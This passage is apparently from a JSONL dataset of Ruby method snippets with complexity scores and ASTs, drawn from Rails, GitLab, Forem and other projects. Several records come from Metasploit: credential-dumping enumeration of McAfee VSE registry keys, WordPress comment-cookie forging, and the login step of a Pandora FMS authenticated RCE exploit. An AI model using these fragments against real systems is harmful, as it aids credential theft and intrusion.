\"restart\" => \"unless-stopped\",\n \"networks\" => [\"default\"],\n \"volumes\" => [\"postgres-data:/var/lib/postgresql/data\"],\n \"environment\" => {\n \"POSTGRES_USER\" => \"postgres\",\n \"POSTGRES_PASSWORD\" => \"postgres\"\n }\n }\n\n assert_equal expected_postgres_config, compose_config[\"services\"][\"postgres\"]\n assert_includes compose_config[\"volumes\"].keys, \"postgres-data\"\n end\n assert_devcontainer_json_file do |content|\n assert_equal \"postgres\", content[\"containerEnv\"][\"DB_HOST\"]\n assert_includes content[\"features\"].keys, \"ghcr.io/rails/devcontainer/features/postgres-client\"\n assert_includes content[\"forwardPorts\"], 5432\n end\n assert_file(\"config/database.yml\") do |content|\n assert_match(/host: <%= ENV\\[\"DB_HOST\"\\] %>/, content)\n end\n end","complexity_score":36.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_devcontainer_postgresql\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--devcontainer\"]},{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"str\",\"children\":[\"postgresql\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_compose_file\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"compose_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compose_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"services\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"rails-app\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"depends_on\"]}]},{\"type\":\"str\",\"children\":[\"postgres\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_postgres_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"image\"]},{\"type\":\"str\",\"children\":[\"postgres:16.1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"restart\"]},{\"type\":\"str\",\"children\":[\"unless-stopped\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"networks\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"default\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"volumes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"postgres-data:/var/lib/postgresql/data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"environment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"POSTGRES_USER\"]},{\"type\":\"str\",\"children\":[\"postgres\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"POSTGRES_PASSWORD\"]},{\"type\":\"str\",\"children\":[\"postgres\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_postgres_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compose_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"services\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"postgres\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compose_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"volumes\"]}]},\"keys\"]},{\"type\":\"str\",\"children\":[\"postgres-data\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_devcontainer_json_file\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"postgres\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"containerEnv\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"DB_HOST\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"features\"]}]},\"keys\"]},{\"type\":\"str\",\"children\":[\"ghcr.io/rails/devcontainer/features/postgres-client\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"forwardPorts\"]}]},{\"type\":\"int\",\"children\":[5432]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/database.yml\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"host: <%= ENV\\\\[\\\"DB_HOST\\\"\\\\] %>\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}","id":"fc6ad946-d423-4788-a53e-7870547a2b9f"} {"repo_name":"forem","file_path":"./repos/forem/db/migrate/20190504131412_add_credits_count_to_users.rb","start_line":2,"raw_source":"def self.up\n add_column :users, :credits_count, :integer, null: false, default: 0\n add_column :users, :spent_credits_count, :integer, null: false, default: 0\n add_column :users, :unspent_credits_count, :integer, null: false, default: 0\n add_column :organizations, :credits_count, :integer, null: false, default: 0\n add_column :organizations, :spent_credits_count, :integer, null: false, default: 0\n add_column :organizations, :unspent_credits_count, :integer, null: false, default: 0\n end","complexity_score":6.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"credits_count\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"spent_credits_count\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"unspent_credits_count\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"organizations\"]},{\"type\":\"sym\",\"children\":[\"credits_count\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"organizations\"]},{\"type\":\"sym\",\"children\":[\"spent_credits_count\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"organizations\"]},{\"type\":\"sym\",\"children\":[\"unspent_credits_count\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"04e03504-473e-4750-be99-d9908ba5a7f2"} {"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/models/concerns/expirable.rb","start_line":31,"raw_source":"def expires_at\n expires_in && created_at + expires_in.seconds\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"expires_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"created_at\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expires_in\"]},\"seconds\"]}]}]}]}","id":"fe850fb6-2cde-4e9c-ad89-d0cc5bf2639a"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/enumerable_test.rb","start_line":38,"raw_source":"def initialize(values = [1, 2, 3])\n @values = values\n end","complexity_score":2.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"values\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@values\",{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}","id":"48224858-89f8-43fa-9f94-c7181e92d7a3"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/menu_manager.rb","start_line":30,"raw_source":"def self.map(menu_name, &menu_builder)\n @menu_builder_queues ||= {}\n current_queue = @menu_builder_queues[menu_name.to_sym] ||= []\n current_queue.push menu_builder\n end","complexity_score":4.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"map\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"menu_name\"]},{\"type\":\"blockarg\",\"children\":[\"menu_builder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@menu_builder_queues\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"current_queue\",{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@menu_builder_queues\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu_name\"]},\"to_sym\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_queue\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"menu_builder\"]}]}]}]}","id":"63651fd4-2164-4eb7-8409-4ead820c0729"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240821075507_queue_backfill_ci_job_variables_project_id.rb","start_line":14,"raw_source":"def up\n queue_batched_background_migration(\n MIGRATION,\n :ci_job_variables,\n :id,\n :project_id,\n :p_ci_builds,\n :project_id,\n :job_id,\n job_interval: DELAY_INTERVAL,\n **batch_sizes\n )\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"queue_batched_background_migration\",{\"type\":\"const\",\"children\":[null,\"MIGRATION\"]},{\"type\":\"sym\",\"children\":[\"ci_job_variables\"]},{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"p_ci_builds\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"job_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_interval\"]},{\"type\":\"const\",\"children\":[null,\"DELAY_INTERVAL\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batch_sizes\"]}]}]}]}]}","id":"c3993ea6-1c85-4fe1-a6db-7654db31f65e"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/widget/integrations/dyte_controller.rb","start_line":24,"raw_source":"def dyte_processor_service\n Integrations::Dyte::ProcessorService.new(account: @web_widget.inbox.account, conversation: @conversation)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"dyte_processor_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"Dyte\"]},\"ProcessorService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@web_widget\"]},\"inbox\"]},\"account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conversation\"]},{\"type\":\"ivar\",\"children\":[\"@conversation\"]}]}]}]}]}","id":"14d05896-bd0e-4a5a-9784-b0d5cc2ded85"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/app_version.rb","start_line":306,"raw_source":"def review_user_needed\n (self.review_demo_user.to_s + self.review_demo_password.to_s).length > 0\n end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"review_user_needed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"review_demo_user\"]},\"to_s\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"review_demo_password\"]},\"to_s\"]}]}]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"c17150dc-13a4-4e36-a51c-eeb7b86bc7a5"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb","start_line":65,"raw_source":"def enum_vse_keys\n vprint_status('Enumerating McAfee VSE installations')\n keys = []\n [\n 'HKLM\\\\Software\\\\Wow6432Node\\\\McAfee\\\\DesktopProtection', # 64-bit\n 'HKLM\\\\Software\\\\McAfee\\\\DesktopProtection' # 32-bit\n ].each do |key|\n subkeys = registry_enumkeys(key)\n keys << key unless subkeys.nil?\n end\n keys\n end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"enum_vse_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Enumerating McAfee VSE installations\"]}]},{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HKLM\\\\Software\\\\Wow6432Node\\\\McAfee\\\\DesktopProtection\"]},{\"type\":\"str\",\"children\":[\"HKLM\\\\Software\\\\McAfee\\\\DesktopProtection\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subkeys\",{\"type\":\"send\",\"children\":[null,\"registry_enumkeys\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subkeys\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]}","id":"7bd3905f-f9a6-45ad-880b-87694fef1e1c"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/app_tree.rb","start_line":227,"raw_source":"def reject_skipped_files(paths)\n return paths unless @skip_files\n\n paths.reject do |path|\n match_path @skip_files, path\n end\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"reject_skipped_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"paths\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@skip_files\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"match_path\",{\"type\":\"ivar\",\"children\":[\"@skip_files\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}","id":"8b9f7083-276d-42c7-869e-a99c4b5baeea"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/wordpress/posts.rb","start_line":33,"raw_source":"def wordpress_get_unauth_comment_cookies(author, email, url)\n scheme = ssl ? 'https' : 'http'\n port = (rport == 80 or rport == 443) ? '' : rport\n # siteurl does not contain last slash\n path = target_uri.to_s.sub(/\\/$/, '')\n siteurl = \"#{scheme}://#{rhost}#{port}#{path}\"\n site_hash = Rex::Text.md5(siteurl)\n cookie = \"comment_author_#{site_hash}=#{author}; \"\n cookie << \"comment_author_email_#{site_hash}=#{email}; \"\n cookie << \"comment_author_url_#{site_hash}=#{url};\"\n cookie\n end","complexity_score":24.15,"ast_json":"{\"type\":\"def\",\"children\":[\"wordpress_get_unauth_comment_cookies\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"author\"]},{\"type\":\"arg\",\"children\":[\"email\"]},{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scheme\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]},\"==\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]},\"==\",{\"type\":\"int\",\"children\":[443]}]}]}]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"to_s\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"siteurl\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scheme\"]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"site_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"md5\",{\"type\":\"lvar\",\"children\":[\"siteurl\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"comment_author_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"site_hash\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]}]},{\"type\":\"str\",\"children\":[\"; \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"comment_author_email_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"site_hash\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]}]},{\"type\":\"str\",\"children\":[\"; \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"comment_author_url_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"site_hash\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]}]}","id":"1755ceb9-b139-4919-9489-963c0629ca83"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/update_service.rb","start_line":279,"raw_source":"def build_topics\n # Used in EE. Can't be cached in override due to Gitlab/ModuleWithInstanceVariables cop\n @previous_topics = project.topic_list\n\n topics = params.delete(:topics)\n tag_list = params.delete(:tag_list)\n topic_list = topics || tag_list\n\n params[:topic_list] ||= topic_list if topic_list\n end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_topics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@previous_topics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"topic_list\"]}]},{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"topics\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag_list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"tag_list\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic_list\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},{\"type\":\"lvar\",\"children\":[\"tag_list\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic_list\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_list\"]}]},{\"type\":\"lvar\",\"children\":[\"topic_list\"]}]},null]}]}]}","id":"81d69981-d48d-462b-97bd-94774122abb0"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/templates.rb","start_line":26,"raw_source":"def render_response(template_type, template)\n not_found!(template_type.to_s.singularize) unless template\n present template, with: Entities::Template\n end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"render_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template_type\"]},{\"type\":\"arg\",\"children\":[\"template\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},null,{\"type\":\"send\",\"children\":[null,\"not_found!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_type\"]},\"to_s\"]},\"singularize\"]}]}]},{\"type\":\"send\",\"children\":[null,\"present\",{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entities\"]},\"Template\"]}]}]}]}]}]}","id":"5ac9f61c-b484-41ad-a911-6bcf5ee80488"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_12971.rb","start_line":167,"raw_source":"def pandora_login(name, pwd)\n # first login GET request to get csrf code\n # in older versions of Pandora FMS this csrf code is not implemented\n # but for the sake of simplicity we still execute this GET request\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'keep_cookies' => true,\n 'vars_get' => {\n 'login' => 1\n }\n })\n return false unless res&.code == 200\n\n # scrape <input id=\"hidden-csrf_code\" name=\"csrf_code\" type=\"hidden\" value=\"d3ec1cae43fba8259079038548093ba8\" />\n html = res.get_html_document\n csrf_code_html = html.at('input[@id=\"hidden-csrf_code\"]')\n vprint_status(\"csrf_code_html: #{csrf_code_html}\")\n\n csrf_attributes = csrf_code_html&.attributes\n return false unless csrf_attributes\n\n csrf_code = csrf_attributes['value']\n return false unless csrf_code\n\n vprint_status(\"csrf_code: #{csrf_code}\")\n\n # second login POST request using the csrf code\n # csrf_code can be nil in older versions where the csrf_code is not implemented\n res = send_request_cgi!({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'keep_cookies' => true,\n 'vars_get' => {\n 'login' => 1\n },\n 'vars_post' => {\n 'nick' => name,\n 'pass' => pwd,\n 'Login_button' => \"Let's go\",\n 'csrf_code' => csrf_code\n }\n })\n return false unless res&.code == 200\n\n res.body.include?('id=\"welcome-icon-header\"') || res.body.include?('id=\"welcome_panel\"') || res.body.include?('godmode')\n end","complexity_score":41.7,"ast_json":"{\"type\":\"def\",\"children\":[\"pandora_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"pwd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"login\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]},{\"type\":\"lvasgn\",\"children\":[\"csrf_code_html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"at\",{\"type\":\"str\",\"children\":[\"input[@id=\\\"hidden-csrf_code